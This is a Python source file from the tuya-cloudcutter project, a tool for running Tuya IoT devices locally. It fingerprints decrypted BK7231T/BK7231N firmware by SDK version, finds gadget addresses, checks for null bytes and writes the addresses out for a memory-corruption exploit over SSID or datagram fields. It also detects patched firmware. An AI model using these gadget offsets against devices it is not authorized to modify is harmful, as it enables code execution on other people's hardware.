tuya-cloudcutter

A tool that disconnects Tuya IoT devices from the cloud, allowing them to run completely locally.

import os.path
import sys


class CodePatternFinder(object):
    def __init__(self, code: bytes, base_address: int = 0):
        self.code = code
        self.base_address = base_address

    def bytecode_search(self, bytecode: bytes, stop_at_first: bool = True):
        offset = self.code.find(bytecode, 0)

        if offset == -1:
            return []

        matches = [self.base_address + offset]
        if stop_at_first:
            return matches

        offset = self.code.find(bytecode, offset+1)
        while offset != -1:
            matches.append(self.base_address + offset)
            offset = self.code.find(bytecode, offset+1)

        return matches

    def set_final_thumb_offset(self, address):
        # Because we're only scanning the app partition, we must add the offset for the bootloader
        # Also add an offset of 1 for the THUMB
        return address + 0x10000 + 1


def name_output_file(desired_appended_name):
    # File generated by bk7321tools dissect_dump
    if appcode_path.endswith('app_1.00_decrypted.bin'):
        return appcode_path.replace('app_1.00_decrypted.bin', desired_appended_name)
    return appcode_path + "_" + desired_appended_name


def walk_app_code():
    print(f"[+] Searching for known exploit patterns")
    if b'TUYA' not in appcode:
        raise RuntimeError('[!] App binary does not appear to be correctly decrypted, or has no Tuya references.')

    # Older versions of BK7231T, BS version 30.04, SDK 2.0.0
    if b'TUYA IOT SDK V:2.0.0 BS:30.04' in appcode and b'AT 8710_2M' in appcode:
        # 04 1e 2c d1 11 9b is the byte pattern for datagram payload
        # 3 matches, 2nd is correct
        # 2b 68 30 1c 98 47 is the byte pattern for finish addess
        # 1 match should be found
        process_generic("BK7231T", "SDK 2.0.0 8710_2M", "datagram", 0, "041e2cd1119b", 1, 0, "2b68301c9847", 1, 0)
        return

    # Older versions of BK7231T, BS version 30.05/30.06, SDK 2.0.0
    if (b'TUYA IOT SDK V:2.0.0 BS:30.05' in appcode or b'TUYA IOT SDK V:2.0.0 BS:30.06' in appcode) and b'AT 8710_2M' in appcode:
        # 04 1e 07 d1 11 9b 21 1c 00 is the byte pattern for datagram payload
        # 3 matches, 2nd is correct
        # 2b 68 30 1c 98 47 is the byte pattern for finish addess
        # 1 match should be found
        process_generic("BK7231T", "SDK 2.0.0 8710_2M", "datagram", 0, "041e07d1119b211c00", 3, 1, "2b68301c9847", 1, 0)
        return

    # Newer versions of BK7231T, BS 40.00, SDK 1.0.x, nobt
    if b'TUYA IOT SDK V:1.0.' in appcode and b'AT bk7231t_nobt' in appcode:
        # b5 4f 06 1e 07 d1 is the byte pattern for datagram payload
        # 1 match should be found
        # 23 68 38 1c 98 47 is the byte pattern for finish addess
        # 2 matches should be found, 1st is correct
        process_generic("BK7231T", "SDK 1.0.# nobt", "datagram", 0, "b54f061e07d1", 1, 0, "2368381c9847", 2, 0)
        return

    # Newer versions of BK7231T, BS 40.00, SDK 1.0.x
    if b'TUYA IOT SDK V:1.0.' in appcode and b'AT bk7231t' in appcode:
        # a1 4f 06 1e is the byte pattern for datagram payload
        # 1 match should be found
        # 23 68 38 1c 98 47 is the byte pattern for finish addess
        # 2 matches should be found, 1st is correct
        process_generic("BK7231T", "SDK 1.0.#", "datagram", 0, "a14f061e", 1, 0, "2368381c9847", 2, 0)
        return

    # Newer versions of BK7231T, BS 40.00, SDK 2.3.0
    if b'TUYA IOT SDK V:2.3.0' in appcode and b'AT bk7231t' in appcode:
        # 04 1e 08 d1 4d 4b is the byte pattern for datagram payload
        # 1 match should be found
        # 7b 69 20 1c 98 47 is the byte pattern for finish addess
        # 1 match should be found, 1st is correct
        # Padding offset of 20 is the only one available in this SDK, instead of the usual 4 for SSID.
        process_generic("BK7231T", "SDK 2.3.0", "ssid", 20, "041e08d14d4b", 1, 0, "7b69201c9847", 1, 0)
        return

    # Newest versions of BK7231T, BS 40.00, SDK 2.3.2
    if b'TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
        # 04 1e 00 d1 0c e7 is the byte pattern for ssid payload (offset 8 bytes)
        # 1 match should be found
        # bb 68 20 1c 98 47 is the byte pattern for finish address
        # 1 match should be found, 1st is correct
        # Padding offset of 8 is the only one available in this SDK, instead of the usual 4 for SSID.
        process_generic("BK7231T", "SDK 2.3.2", "ssid", 8, "041e00d10ce7", 1, 0, "bb68201c9847", 1, 0)
        return

    # BK7231N, BS 40.00, SDK 2.3.1, CAD 1.0.3
    # 0.0.2 is also a variant of 2.3.1
    if (b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
            or b'TUYA IOT SDK V:0.0.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
            or b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.3_CD:1.0.0' in appcode
            or b'TUYA IOT SDK V:ffcgroup BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode):
        # 05 1e 00 d1 15 e7 is the byte pattern for ssid payload
        # 1 match should be found
        # 43 68 20 1c 98 47 is the byte pattern for finish address
        # 1 match should be found
        process_generic("BK7231N", "SDK 2.3.1", "ssid", 4, "051e00d115e7", 1, 0, "4368201c9847", 1, 0)
        return

    # BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.4
    if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
        # 05 1e 00 d1 13 e7 is the byte pattern for ssid payload
        # 1 match should be found
        # 43 68 20 1c 98 47 is the byte pattern for finish address
        # 1 match should be found
        process_generic("BK7231N", "SDK 2.3.3 LAN 3.3/CAD 1.0.4", "ssid", 4, "051e00d113e7", 1, 0, "4368201c9847", 1, 0)
        return

    # BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.5
    if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.5_CD:1.0.0' in appcode:
        # 05 1e 00 d1 fc e6 is the byte pattern for ssid payload
        # 1 match should be found
        # 43 68 20 1c 98 47 is the byte pattern for finish address
        # 1 match should be found
        process_generic("BK7231N", "SDK 2.3.3 LAN 3.4/CAD 1.0.5", "ssid", 4, "051e00d1fce6", 1, 0, "4368201c9847", 1, 0)
        return

    # TuyaOS V3+, patched
    if b'TuyaOS V:3' in appcode:
        print("[!] The binary supplied appears to be patched and no longer vulnerable to the tuya-cloudcutter exploit.")
        sys.exit(5)

    raise RuntimeError('Unknown pattern, please open a new issue and include the bin.')


def check_for_patched(known_patch_pattern):
    matcher = CodePatternFinder(appcode, 0x0)

    patched_bytecode = bytes.fromhex(known_patch_pattern)
    patched_matches = matcher.bytecode_search(patched_bytecode, stop_at_first=True)

    if patched_matches:
        print("[!] The binary supplied appears to be patched and no longer vulnerable to the tuya-cloudcutter exploit.")
        sys.exit(5)


def process_generic(chipset, pattern_version, payload_type, payload_padding, payload_string, payload_count, payload_index, finish_string, finish_count, finish_index):
    matcher = CodePatternFinder(appcode, 0x0)
    print(f"[+] Matched pattern for {chipset} version {pattern_version}, payload type {payload_type}")

    patch_patterns = [
        "2d6811226b1dff33181c00210393", # BK7231N short/combined
        "2d6811226b1dff33181c0021039329f0", # BK7231N 2.3.1 Patched
        "2d6811226b1dff33181c002103930bf0", # BK7231N 2.3.3 Patched
    ]

    for patch_pattern in patch_patterns:
        check_for_patched(patch_pattern)

    print(f"[+] Searching for {payload_type} payload address")
    payload_bytecode = bytes.fromhex(payload_string)
    payload_matches = matcher.bytecode_search(payload_bytecode, stop_at_first=False)
    if not payload_matches or len(payload_matches) != payload_count:
        raise RuntimeError(f"[!] Failed to find {payload_type} payload address (found {len(payload_matches)}, expected {payload_count})")
    payload_addr = matcher.set_final_thumb_offset(payload_matches[payload_index])
    for b in payload_addr.to_bytes(3, byteorder='little'):
        if b == 0:
            raise RuntimeError(f"[!] {payload_type} payload address contains a null byte, unable to continue")
    print(f"[+] {payload_type} payload address gadget (THUMB): 0x{payload_addr:X}")

    print("[+] Searching for finish address")
    finish_bytecode = bytes.fromhex(finish_string)
    finish_matches = matcher.bytecode_search(finish_bytecode, stop_at_first=False)
    if not finish_matches or len(finish_matches) > finish_count:
        raise RuntimeError("[!] Failed to find finish address")
    finish_addr = matcher.set_final_thumb_offset(finish_matches[finish_index])
    for b in finish_addr.to_bytes(3, byteorder='little'):
        if b == 0:
            if finish_count > 0:
                print("[!] Preferred finish address contained a null byte, using available alternative")
                finish_addr = matcher.set_final_thumb_offset(finish_matches[finish_index + 1])
            else:
                raise RuntimeError("[!] Finish address contains a null byte, unable to continue")
    print(f"[+] Finish address gadget (THUMB): 0x{finish_addr:X}")

    with open(name_output_file('chip.txt'), 'w') as f:
        f.write(f'{chipset}')
    with open(name_output_file('address_finish.txt'), 'w') as f:
        f.write(f'0x{finish_addr:X}')

    if payload_type == "datagram":
        with open(name_output_file('address_datagram.txt'), 'w') as f:
            f.write(f'0x{payload_addr:X}')
    elif payload_type == "ssid":
        with open(name_output_file('address_ssid.txt'), 'w') as f:
            f.write(f'0x{payload_addr:X}')
        with open(name_output_file('address_ssid_padding.txt'), 'w') as f:
            f.write(f'{payload_padding}')
    elif payload_type == "passwd":
        with open(name_output_file('address_passwd.txt'), 'w') as f:
            f.write(f'0x{payload_addr:X}')


def run(decrypted_app_file: str):
    if not decrypted_app_file:
        print('Usage: python haxomatic.py <app code file>')
        sys.exit(1)

    address_finish_file = decrypted_app_file.replace('_app_1.00_decrypted.bin', '_address_finish.txt')
    if os.path.exists(address_finish_file):
        print('[+] Haxomatic has already been run')
        return

    global appcode_path, appcode
    appcode_path = decrypted_app_file
    with open(appcode_path, 'rb') as fs:
        appcode = fs.read()
        walk_app_code()


if __name__ == '__main__':
    run(sys.argv[1])